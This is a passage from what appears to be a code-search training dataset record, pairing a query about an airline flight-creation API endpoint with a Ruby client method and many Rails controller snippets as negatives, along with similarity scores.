"0.5989819",
"0.5982107",
"0.5979121",
"0.59720516",
"0.59590435",
"0.5945645",
"0.59381324",
"0.5912074",
"0.58993644",
"0.589589",
"0.5878105",
"0.58757895",
"0.58754957",
"0.5866239",
"0.58526033",
"0.5839335",
"0.5832004",
"0.58289933",
"0.5814014",
"0.5811002",
"0.5803039",
"0.5800379",
"0.5800341",
"0.57874566",
"0.57831967",
"0.57800406",
"0.5765284",
"0.5762274",
"0.57577926",
"0.5756364",
"0.57541883",
"0.5752504",
"0.57450926",
"0.5735847",
"0.57249725",
"0.5723867",
"0.5721225",
"0.5719826",
"0.5719826",
"0.5719826",
"0.5719826",
"0.5719826",
"0.5719826",
"0.5719826",
"0.5719826",
"0.5719826",
"0.5714441",
"0.5707967",
"0.56990314",
"0.56956214",
"0.5693244",
"0.5686687",
"0.56825984",
"0.5672327",
"0.5656093",
"0.56559",
"0.5655293",
"0.5654221",
"0.56492805",
"0.56492615",
"0.5643544",
"0.5638836",
"0.5637592",
"0.56349134",
"0.5627552",
"0.5627552",
"0.5626429",
"0.5624288",
"0.56237715",
"0.5621597",
"0.56182504",
"0.5615194"
] | 0.6053301 | 21 |
This endpoint allows to create a flight on the system and defines the mileage rules for the passenger. | def create_flight_creation(body)
# Prepare query url.
_path_url = '/v1/airline/flights'
_query_builder = Configuration.get_base_uri
_query_builder << _path_url
_query_url = APIHelper.clean_url _query_builder
# Prepare headers.
_headers = {
'accept' => 'application/json',
'content-type' => 'application/json; charset=utf-8'
}
# Prepare and execute HttpRequest.
_request = @http_client.post(
_query_url,
headers: _headers,
parameters: body.to_json
)
_context = execute_request(_request)
validate_response(_context)
# Return appropriate response type.
decoded = APIHelper.json_deserialize(_context.response.raw_body)
Response.from_hash(decoded)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @flight = Flight.new(flight_params)\n\n if @flight.save\n redirect_to admins_flights_path, notice: \"Flight was successfully created.\"\n else\n render :new, status: :unprocessable_entity\n end\n end",
"def create\n @flight = Flight.new(params[:flight])\n\n respond_to do |format|\n if @flight.save\n format.html { redirect_to @flight, notice: 'Flight was successfully created.' }\n format.json { render json: @flight, status: :created, location: @flight }\n else\n format.html { render action: \"new\" }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @flight = Flight.new(flight_params)\n respond_to do |format|\n if @flight.save\n format.html { redirect_to @flight, notice: 'Flight was successfully created.' }\n format.json { render :show, status: :created, location: @flight }\n else\n format.html { render :new }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @flight = Flight.new(flight_params)\n\n respond_to do |format|\n if @flight.save\n format.html { redirect_to @flight, notice: 'Flight was successfully created.' }\n format.json { render :show, status: :created, location: @flight }\n else\n format.html { render :new }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @flight = Flight.new(flight_params)\n\n respond_to do |format|\n if @flight.save\n format.html { redirect_to @flight, notice: 'Flight was successfully created.' }\n format.json { render :show, status: :created, location: @flight }\n else\n format.html { render :new }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @flight = Flight.new(flight_params)\n\n respond_to do |format|\n if @flight.save\n format.html { redirect_to @flight, notice: 'Flight was successfully created.' }\n format.json { render :show, status: :created, location: @flight }\n else\n format.html { render :new }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @flight = Flight.new(flight_params)\n\n respond_to do |format|\n if @flight.save\n format.html { redirect_to @flight, notice: 'Flight was successfully created.' }\n format.json { render :show, status: :created, location: @flight }\n else\n format.html { render :new }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @flight = Flight.new(flight_params)\n\n respond_to do |format|\n if @flight.save\n format.html { redirect_to @flight, notice: 'Flight was successfully created.' }\n format.json { render :show, status: :created, location: @flight }\n else\n format.html { render :new }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @flight = Flight.new(flight_params)\n\n respond_to do |format|\n if @flight.save\n format.html { redirect_to @flight, notice: 'Flight was successfully created.' }\n format.json { render action: 'show', status: :created, location: @flight }\n else\n format.html { render action: 'new' }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n logger.info \"flight_params: #{flight_params.inspect}\"\n\n # This is hack, to get around the type mismatch, don't fully understand strong params yet\n @cargo = Cargo.new\n @cargo.weight = flight_params[:cargo][:weight]\n @cargo.contents = flight_params[:cargo][:contents]\n logger.info \"@cargo: #{@cargo.inspect}\"\n @cargo.save\n\n @flight = Flight.new\n @flight.number = flight_params[:number]\n @flight.user_id = flight_params[:user_id]\n @flight.request_id = flight_params[:request_id]\n @flight.aircraft_id = flight_params[:aircraft_id]\n @flight.origin_id = flight_params[:origin_id]\n @flight.destination_id = flight_params[:destination_id]\n @flight.departure_time = DateTime.new(flight_params[\"departure_time(1i)\"].to_i, flight_params[\"departure_time(2i)\"].to_i, flight_params[\"departure_time(3i)\"].to_i, flight_params[\"departure_time(4i)\"].to_i, flight_params[\"departure_time(5i)\"].to_i)\n @flight.arrival_time = DateTime.new(flight_params[\"arrival_time(1i)\"].to_i, flight_params[\"arrival_time(2i)\"].to_i, flight_params[\"arrival_time(3i)\"].to_i, flight_params[\"arrival_time(4i)\"].to_i, flight_params[\"arrival_time(5i)\"].to_i)\n @flight.cargo_id = @cargo.id\n @flight.aircrew_id = flight_params[:aircrew_id]\n\n logger.info \"@flight: #{@flight.inspect}\"\n\n respond_to do |format|\n\n if @flight.save\n req_id = params[:shipment_request_id]\n unless req_id.nil?\n request = ShipmentRequest.find(@flight.request_id)\n request.is_accepted = true\n request.save\n end\n\n format.html { redirect_to @flight, notice: 'Flight was successfully created.' }\n format.json { render action: 'show', status: :created, location: @flight }\n else\n format.html { render action: 'new' }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @flight = scope.new(flight_params)\n\n if @flight.save\n json_response(@flight.decorate.as_json(flight_details: true),\n :created)\n else\n json_response(@flight.errors, :unprocessable_entity)\n end\n end",
"def create\n @flight = Flight.new(params[:flight])\n\n if @flight.save\n render json: @flight, status: :created, location: @flight\n else\n render json: @flight.errors, status: :unprocessable_entity\n end\n end",
"def create\n @vehicle = Vehicle.find params[:vehicle_id]\n @mileage = @vehicle.mileages.new(params[:mileage])\n \n respond_to do |format|\n if @mileage.save\n format.html { redirect_to([@mileage.vehicle.fleet, @mileage.vehicle], :notice => 'Mileage Record was successfully created.') }\n format.xml { render :xml => @mileage, :status => :created, :location => @mileage }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mileage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@public_officer = PublicOfficer.find(params[:public_officer_id])\n\t\t@commission = @public_officer.commissions.find(params[:commission_id])\n\t\t@trip = @commission.trips.find(params[:trip_id])\n\t\t@detail = @trip.detail\n\t\t@flight = @detail.flights.new(params[:flight])\n\n\t\trespond_to do |format|\n\t\t\tif @flight.save\n\t\t\t\tformat.html { redirect_to @flight, notice: 'Flight was successfully created.' }\n\t\t\t\tformat.json { render json: @flight, status: :created, location: @flight }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @flight.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @flight = Flight.new(params[:flight])\n\n respond_to do |format|\n if @flight.save\n flash[:notice] = 'Flight was successfully created.'\n format.html { redirect_to(@flight) }\n format.xml { render :xml => @flight, :status => :created, :location => @flight }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @flight.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def flight_params\n params.require(:flight).permit(:from_airport_id, :to_airport_id, :takeoff, :num_passenger)\n end",
"def flight_params\n params.require(:flight).permit(:departure_date, :time, :departure, :arrival, :flight_length, :number_of_seats)\n end",
"def create\n @flightplan = Flightplan.new(flightplan_params)\n\n respond_to do |format|\n if @flightplan.save\n format.html { redirect_to @flightplan, notice: 'Flightplan was successfully created.' }\n format.json { render :show, status: :created, location: @flightplan }\n else\n format.html { render :new }\n format.json { render json: @flightplan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def flight_params\n params.require(:flight).permit(:flight_name, :flight_route_id, :departure, :arrival, :number_of_passengers, :aircraft_type, :arrived, :stocked, :cleaned)\n end",
"def create\n @pilot_flight = PilotFlight.new(params[:pilot_flight])\n\n respond_to do |format|\n if @pilot_flight.save\n format.html { redirect_to(@pilot_flight, :notice => 'Pilot flight was successfully created.') }\n format.xml { render :xml => @pilot_flight, :status => :created, :location => @pilot_flight }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @pilot_flight.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @flightline = Flightline.new(params[:flightline])\n\n respond_to do |format|\n if @flightline.save\n format.html { redirect_to(@flightline, :notice => 'Flightline was successfully created.') }\n format.xml { render :xml => @flightline, :status => :created, :location => @flightline }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @flightline.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def flight_params\n params.require(:flight).permit(:name, :ftype, :from, :destination, :start_time, :end_time, :base_price)\n end",
"def flight_params\n params.require(:flight).permit(:number, :departure_airport, :arrival_airport, :departure_date, :duration, :business_class_seats, :economy_class_seats, :page)\n end",
"def create\n @trip = Trip.new(trip_params)\n authorize @trip\n @trip.submitter = current_account.accountable\n\n\n @trip.estimated_expenses.each do |exp|\n exp.requests.each do |req|\n req.amount_from_total = req.percentrequested * exp.total\n req.destination = @trip.destination\n req.expense_type = 'estimated'\n end\n end\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to home_index_path, notice: 'Trip was successfully created.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { render :new }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @flight_schedule = FlightSchedule.new(params[:flight_schedule])\n\n respond_to do |format|\n if @flight_schedule.save\n format.html { redirect_to @flight_schedule, notice: 'Flight schedule was successfully created.' }\n format.json { render json: @flight_schedule, status: :created, location: @flight_schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @flight_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"def flight_params\n params.require(:flight).permit(:from, :to, :flight_start, :flight_time, :lane_id, :airplane_id)\n end",
"def flight_params\n params.require(:flight).permit(:request_id, :user_id, :aircraft_id, :number, :aircrew_id, :origin_id, :destination_id, :departure_time, :arrival_time, cargo: [:weight, :contents])\n end",
"def create\n # TODO: why change from new to create makes it so I can access the @flight.id\n @flight = Flight.create(flight_params)\n\n # when a flight is created, create all the associated seats\n @airplane = Airplane.find @flight.airplane_id\n # find the number of rows/columns that the aeroplane has, create a range from 1 to that number, then split that into an array.\n # this will allow us to loop through and create a seat for each value below\n @rows = ([email protected]).to_a\n @columns = ([email protected]).to_a\n # create a seat for each row and column and associate it with this flight.\n @rows.each do |row|\n @columns.each do |col|\n seat = Seat.create :row => row, :column => col, :is_taken => false\n @flight.seats << seat\n end\n end\n\n respond_to do |format|\n if @flight.save\n format.html { redirect_to @flight, notice: 'Flight was successfully created.' }\n format.json { render :show, status: :created, location: @flight }\n else\n format.html { render :new }\n format.json { render json: @flight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @flight_info = FlightInfo.new(flight_info_params)\n\n respond_to do |format|\n if @flight_info.save\n format.html { redirect_to @flight_info, notice: 'Flight info was successfully created.' }\n format.json { render :show, status: :created, location: @flight_info }\n else\n format.html { render :new }\n format.json { render json: @flight_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @travel_claim_mileage_rate = TravelClaimMileageRate.new(params[:travel_claim_mileage_rate])\n\n respond_to do |format|\n if @travel_claim_mileage_rate.save\n format.html { redirect_to(travel_claim_mileage_rates_url, :notice => t('mileagerates.title2')+\" \"+t('created')) }\n format.xml { render :xml => @travel_claim_mileage_rate, :status => :created, :location => @travel_claim_mileage_rate }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @travel_claim_mileage_rate.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def flight_params\n params.require(:flight).permit(:departure_airport, :arrival_airport, :date, :duration)\n end",
"def flight_params\n params.require(:flight).permit(:number, :origin, :destination, :date, :plane, :airplane_id)\n end",
"def new\n @flight = Flight.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @flight }\n end\n end",
"def flight_params\n params.require(:flight).permit(:flight_num, :date, :from, :to, :airplane_id)\n end",
"def create\n @flight_turbulence = FlightTurbulence.new(flight_turbulence_params)\n\n respond_to do |format|\n if @flight_turbulence.save\n format.html { redirect_to @flight_turbulence, notice: 'Flight turbulence was successfully created.' }\n format.json { render :show, status: :created, location: @flight_turbulence }\n else\n format.html { render :new }\n format.json { render json: @flight_turbulence.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @machine_mileage = MachineMileage.new(params[:machine_mileage])\n\n respond_to do |format|\n if @machine_mileage.save\n format.html { redirect_to(@machine_mileage, :notice => 'Machine mileage was successfully created.') }\n format.xml { render :xml => @machine_mileage, :status => :created, :location => @machine_mileage }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @machine_mileage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def flight_params\n params.require(:flight).permit(:flight_number, :origin, :destination, :date, :airplane_id)\n end",
"def create\n @flight_user = FlightUser.new(flight_user_params)\n\n respond_to do |format|\n if @flight_user.save\n format.html { redirect_to @flight_user, notice: 'Flight user was successfully created.' }\n format.json { render :show, status: :created, location: @flight_user }\n else\n format.html { render :new }\n format.json { render json: @flight_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def flight_params\n params.require(:flight).permit(:flight_no, :origin, :destination, :date, :airplane_id)\n end",
"def create\n @flight_price = FlightPrice.new(flight_price_params)\n # binding.pry\n respond_to do |format|\n if @flight_price.save\n format.html { redirect_to @flight_price, notice: 'Flight price was successfully created.' }\n format.json { render :show, status: :created, location: @flight_price }\n else\n format.html { render :new }\n format.json { render json: @flight_price.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ticket = Ticket.new(user: current_user, flight: @flight)\n @ticket.price = @flight.price\n if @ticket.save\n @flight.to_full! if @flight.tickets.count >= @flight.aircraft.seat_counts.to_i\n redirect_to flights_path, notice: 'Вы успешно забронировали место!'\n else\n redirect_to flights_path, alert: 'Произошла ошибка, пожалуйста попробуйте еще раз!'\n end\n end",
"def create\n @travel_amount = TravelAmount.new(travel_amount_params)\n\n respond_to do |format|\n if @travel_amount.save\n format.html { redirect_to @travel_amount, notice: 'Travel amount was successfully created.' }\n format.json { render :show, status: :created, location: @travel_amount }\n else\n format.html { render :new }\n format.json { render json: @travel_amount.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_flight\n @flight = Flight.find(params[:id])\n end",
"def set_flight\n @flight = Flight.find(params[:id])\n end",
"def set_flight\n @flight = Flight.find(params[:id])\n end",
"def set_flight\n @flight = Flight.find(params[:id])\n end",
"def set_flight\n @flight = Flight.find(params[:id])\n end",
"def set_flight\n @flight = Flight.find(params[:id])\n end",
"def set_flight\n @flight = Flight.find(params[:id])\n end",
"def set_flight\n @flight = Flight.find(params[:id])\n end",
"def set_flight\n @flight = Flight.find(params[:id])\n end",
"def set_flight\n @flight = Flight.find(params[:id])\n end",
"def set_flight\n @flight = Flight.find(params[:id])\n end",
"def new\n\t\t@public_officer = PublicOfficer.find(params[:public_officer_id])\n\t\t@commission = @public_officer.commissions.find(params[:commission_id])\n\t\t@trip = @commission.trips.find(params[:trip_id])\n\t\t@detail = @trip.detail\n\t\t@flight = @detail.flights.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @flight }\n\t\tend\n\tend",
"def create\n # [TODO] This method should not exists unless it is used in the MortalityRate Parser.\n\n @mortality_rate = MortalityRate.new(mortality_rate_params)\n\n respond_to do |format|\n if @mortality_rate.save\n format.html { redirect_to @mortality_rate, notice: 'Taxa de mortalidade foi criada com sucesso' }\n format.json { render :show, status: :created, location: @mortality_rate }\n else\n format.html { render :new }\n format.json { render json: @mortality_rate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n passenger = Passenger.new(:name => params[:name], :contact_number => params[:contact_number], :nationality => params[:nationality], :meal_pref => params[:meal_pref])\n passenger.save\n render :json => passenger\n end",
"def set_flight\n @flight = Flight.find(params[:id])\n end",
"def set_flight\n @flight = Flight.find(params[:id])\n end",
"def set_flight\n @flight = Flight.find(params[:id])\n end",
"def create\n @mariage = Mariage.new(mariage_params)\n\n respond_to do |format|\n if @mariage.save\n format.html { redirect_to @mariage, notice: 'Mariage was successfully created.' }\n format.json { render :show, status: :created, location: @mariage }\n else\n format.html { render :new }\n format.json { render json: @mariage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_flight\n @flight = Flight.find(params[:id])\n end",
"def create\n @passenger = Passenger.new(passenger_params)\n\n respond_to do |format|\n if @passenger.save\n format.html { redirect_to @passenger, notice: 'Passenger was successfully created.' }\n format.json { render :show, status: :created, location: @passenger }\n else\n format.html { render :new }\n format.json { render json: @passenger.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @machine_time_rule = MachineTimeRule.new(machine_time_rule_params)\n # authorize(@machine_time_rule)\n respond_to do |format|\n if @machine_time_rule.save\n format.html { redirect_to @machine_time_rule, notice: 'Machine time rule was successfully created.' }\n format.json { render :show, status: :created, location: @machine_time_rule }\n else\n format.html { render :new }\n format.json { render json: @machine_time_rule.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @passenger = Passenger.new(passenger_params)\n\n respond_to do |format|\n if @passenger.save\n flash[:success] = @@msgs\n format.html { redirect_to @passenger, notice: 'Passenger was successfully created.' }\n format.json { render :show, status: :created, location: @passenger }\n else\n flash[:danger] = @@msge\n format.html { render :new }\n format.json { render json: @passenger.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @flightstat = Flightstat.new(flightstat_params)\n\n respond_to do |format|\n if @flightstat.save\n format.html { redirect_to @flightstat, notice: 'Flightstat was successfully created.' }\n format.json { render :show, status: :created, location: @flightstat }\n else\n format.html { render :new }\n format.json { render json: @flightstat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n @reservation.user = current_user\n @reservation.flight = flight\n\n if @reservation.save\n render json: @reservation\n else\n render json: @reservation.errors, status: :unprocessable_entity\n end\n end",
"def flight_params\n params.permit(:datetime, :from, :to, :duration, :price)\n end",
"def create\n @air_moisture = AirMoisture.new(air_moisture_params)\n\n respond_to do |format|\n if @air_moisture.save\n format.html { redirect_to @air_moisture, notice: 'Air moisture was successfully created.' }\n format.json { render :show, status: :created, location: @air_moisture }\n else\n format.html { render :new }\n format.json { render json: @air_moisture.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_flight\n @flight = Flight.find(params[:id])\n @seats = @flight.seats\n end",
"def create\n @airline = Airline.new(params[:airline])\n\n respond_to do |format|\n if @airline.save\n format.html { redirect_to(@airline, :notice => 'Travel form was successfully created.') }\n format.xml { render :xml => @airline, :status => :created, :location => @airline }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @airline.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @mortgage = Mortgage.new(params[:mortgage])\n\n respond_to do |format|\n if @mortgage.save\n flash[:notice] = 'Mortgage was successfully created.'\n format.html { redirect_to(@mortgage) }\n format.xml { render :xml => @mortgage, :status => :created, :location => @mortgage }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mortgage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @lifeline = Lifeline.new(lifeline_params)\n\n respond_to do |format|\n if @lifeline.save\n format.html { redirect_to @lifeline, notice: 'Lifeline was successfully created.' }\n format.json { render :show, status: :created, location: @lifeline }\n else\n format.html { render :new }\n format.json { render json: @lifeline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @aircraft = Aircraft.new(aircraft_params)\n\n respond_to do |format|\n if @aircraft.save\n format.html { redirect_to @aircraft, notice: \"Aircraft was successfully created.\" }\n format.json { render :show, status: :created, location: @aircraft }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @aircraft.errors, status: :unprocessable_entity }\n end\n end\n end",
"def freight_params\n params.require(:freight).permit(:airport_id, :inspectedon, :carrier, :brmtype_id, :ctnpresented, :ctnreleased, :start_time, :finish_time, :importer, :exporter, :permit, :noncompliance, :avatar, :comment)\n end",
"def create\n params[:fee][:amount].gsub!(/[$,]/, '')\n params[:fee][:amount] = (params[:fee][:amount].to_f * 100).to_i\n\n @fee = Fee.new(fee_params)\n @fee.booth = Booth.find(params[:booth_id])\n\n respond_to do |format|\n if @fee.save\n format.html { redirect_to @fee.booth, notice: 'Fee was successfully created.' }\n format.json { render :show, status: :created, location: @fee }\n else\n format.html { render :new }\n format.json { render json: @fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @received_military_award = ReceivedMilitaryAward.new(params[:received_military_award])\n\n respond_to do |format|\n if @received_military_award.save\n format.html { redirect_to @received_military_award.military_history.personal_detail, notice: 'Received military award was successfully created.' }\n format.json { render json: @received_military_award, status: :created, location: @received_military_award }\n else\n format.html { render action: \"new\" }\n format.json { render json: @received_military_award.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @flight_execution = scope.new(flight_execution_params)\n\n if @flight_execution.save\n json_response(@flight_execution.decorate, :created)\n else\n json_response(@flight_execution.errors, :unprocessable_entity)\n end\n end",
"def create\n @admin_pricing_transit = Admin::Pricing::Transit.new(admin_pricing_transit_params)\n\n respond_to do |format|\n if @admin_pricing_transit.save\n format.html { redirect_to admin_pricing_transits_path, notice: mk_notice(@admin_pricing_transit, :id, 'Transit', :create) }\n format.json { render json: @admin_pricing_transit, status: :created, location: admin_pricing_transits_path }\n else\n format.html { render :new }\n format.json { render json: @admin_pricing_transit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n pricing_rule = application_plan.pricing_rules.create(pricing_rule_params)\n\n respond_with(pricing_rule)\n end",
"def create\n @vehicletypes = Vehicletype.all\n @destination_fare = DestinationFare.new(destination_fare_params)\n\n respond_to do |format|\n if @destination_fare.save\n format.html { redirect_to @destination_fare, notice: 'Destination fare was successfully created.' }\n format.json { render action: 'show', status: :created, location: @destination_fare }\n else\n format.html { render action: 'new' }\n format.json { render json: @destination_fare.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @passenger = Passenger.new(passenger_params)\r\n\r\n respond_to do |format|\r\n if @passenger.save\r\n format.html { redirect_to @passenger, notice: 'Passenger was successfully created.' }\r\n else\r\n format.html { render :new }\r\n end\r\n end\r\n end",
"def create\n @therapy_budget = TherapyBudget.new(therapy_budget_params)\n\n respond_to do |format|\n if @therapy_budget.save\n format.html { redirect_to @therapy_budget, notice: 'Therapy budget was successfully created.' }\n format.json { render :show, status: :created, location: @therapy_budget }\n else\n format.html { render :new }\n format.json { render json: @therapy_budget.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n return unless has_permission :can_manage_aircraft\n @aircraft = Aircraft.new(params[:aircraft])\n if @aircraft.save\n flash[:notice] = 'Aircraft was successfully created.'\n redirect_to :action => 'list'\n else\n render :action => 'new'\n end\n end",
"def create\n @freight_bill = FreightBill.new(freight_bill_params)\n\n respond_to do |format|\n if @freight_bill.save\n format.html { redirect_to @freight_bill, notice: 'Freight bill was successfully created.' }\n format.json { render :show, status: :created, location: @freight_bill }\n else\n format.html { render :new }\n format.json { render json: @freight_bill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @airline = Airline.new(airline_params)\n\n if @airline.save\n json_response(@airline.decorate.as_json(airplanes_details: true),\n :created)\n else\n json_response(@airline.errors, :unprocessable_entity)\n end\n end",
"def create\n @arrival = Arrival.new(params[:arrival])\n\n respond_to do |format|\n if @arrival.save\n format.html { redirect_to @arrival, notice: 'Arrival was successfully created.' }\n format.json { render json: @arrival, status: :created, location: @arrival }\n else\n format.html { render action: \"new\" }\n format.json { render json: @arrival.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n origin = params[:fare][:origin]\n destination = params[:fare][:destination]\n\n \tuber = calculate_uber(origin, destination)\n lyft = calculate_lyft(origin, destination)\n\n if uber and lyft\n render json: [\n {\n company: 'uber', \n id: 1, \n price: uber, \n image: '/assets/uber.png'\n },\n {\n company: 'lyft',\n id: 2,\n price: lyft,\n image: '/assets/lyft.png'\n }], status: 200\n else\n render status: 500\n end\n\n end",
"def create\n @travel = Travel.find(params[:travel_id])\n @itinerary = @travel.itineraries.new(itinerary_param)\n\n respond_to do |format|\n if @itinerary.save\n format.html { redirect_to(admin_travel_itineraries_url(@travel), :notice => 'Itinerary was successfully created.') }\n format.xml { render :xml => @itinerary, :status => :created, :location => @itinerary }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @itinerary.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @lease = Lease.new(params[:lease])\n\n respond_to do |format|\n if @lease.save\n car = Car.where(:registration => @lease.registration).first\n car.update_attributes(:longtermassigned => true)\n format.html { redirect_to cars_url, :notice => 'Lease was successfully created.' }\n format.json { render :json => @lease, :status => :created, :location => @lease }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @lease.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\n if params[:journey_id]\n @journey = Journey.find(params[:journey_id])\n render_403 and return if @journey.user_id != current_user.id\n else\n @journey = Journey.create(user_id: current_user.id)\n end\n\n @url = \"/journeys/#{@journey.id}/legs\"\n @method = :POST\n @journey_leg = JourneyLeg.new(journey_leg_params.merge(journey_id: @journey.id))\n\n respond_to do |format|\n if @journey_leg.save\n format.html { redirect_to @journey, notice: 'Journey leg was successfully created.' }\n format.json { render json: @journey, status: :created, location: @journey }\n format.xml { render xml: @journey, status: :created, location: @journey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @journey_leg.errors, status: :unprocessable_entity }\n format.xml { render xml: @journey_leg.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @footage = Footage.new(footage_params)\n\n respond_to do |format|\n if @footage.save\n format.html { redirect_to @footage, notice: 'Footage was successfully created.' }\n format.json { render action: 'show', status: :created, location: @footage }\n else\n format.html { render action: 'new' }\n format.json { render json: @footage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def flight_route_params\n params.require(:flight_route).permit(:origin, :destination, :food)\n end",
"def new\n @flight_schedule = FlightSchedule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @flight_schedule }\n end\n end",
"def create\n @franchisee_royalty = FranchiseeRoyalty.new(franchisee_royalty_params)\n\n respond_to do |format|\n if @franchisee_royalty.save\n format.html { redirect_to @franchisee_royalty, notice: 'Franchisee royalty was successfully created.' }\n format.json { render :show, status: :created, location: @franchisee_royalty }\n else\n format.html { render :new }\n format.json { render json: @franchisee_royalty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vacancy = Vacancy.new(vacancy_params)\n\n respond_to do |format|\n if @vacancy.save\n update_skills\n format.html { redirect_to @vacancy, notice: 'Vacancy was successfully created.' }\n format.json { render :show, status: :created, location: @vacancy }\n else\n format.html { render :new }\n format.json { render json: @vacancy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @facility = TreatmentFacility.new(params[:treatment_facility])\n \n if @facility.save\n # Set roles for new users\n @facility.users.each do |user|\n if user.role.nil?\n user.role = Role.find_by_name(Role::TECHNICIAN)\n user.save!\n end\n end\n # Create timers for new treatment areas\n @facility.treatment_areas.each do |area|\n if area.process_timer.nil?\n area.build_process_timer(:duration_seconds => area.duration_minutes * 60)\n area.save!\n end\n end\n \n redirect_to @facility, :notice => I18n.t('facility_created')\n else\n render 'new'\n end\n end",
"def new\n if session[:flight_id]\n #Flight.destroy(session[:flight_id]) \n reset_session\n end\n @flight = Flight.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @flight }\n end\n end",
"def create\n\n @user = User.find(params[:user_id])\n @flight = Flight.find(params[:flight_id])\n @booking = @user.bookings.new(booking_params)\n respond_to do |format|\n if @booking.save\n format.html { redirect_to booking_path(current_user,@flight,@booking), notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ball_flight_item = BallFlightItem.new(params[:ball_flight_item])\n\n respond_to do |format|\n if @ball_flight_item.save\n format.html { redirect_to @ball_flight_item, notice: 'Ball flight item was successfully created.' }\n format.json { render json: @ball_flight_item, status: :created, location: @ball_flight_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ball_flight_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n # inflate a trip proxy object from the form params\n @trip_proxy = create_trip_proxy_from_form_params\n \n if @trip_proxy.valid?\n @trip = create_trip(@trip_proxy)\n end\n\n # Create makers for the map control\n @markers = create_markers(@trip_proxy)\n\n respond_to do |format|\n if @trip\n if @trip.save\n @trip.reload\n @planned_trip = @trip.planned_trips.first\n @planned_trip.create_itineraries\n format.html { redirect_to user_planned_trip_path(@traveler, @planned_trip) }\n format.json { render json: @planned_trip, status: :created, location: @planned_trip }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trip_proxy.errors, status: :unprocessable_entity }\n end\n else\n format.html { render action: \"new\", flash[:alert] => t(:correct_errors_to_create_a_trip) }\n end\n end\n end"
] | [
"0.68296653",
"0.6589799",
"0.65811795",
"0.6577498",
"0.6577498",
"0.6577498",
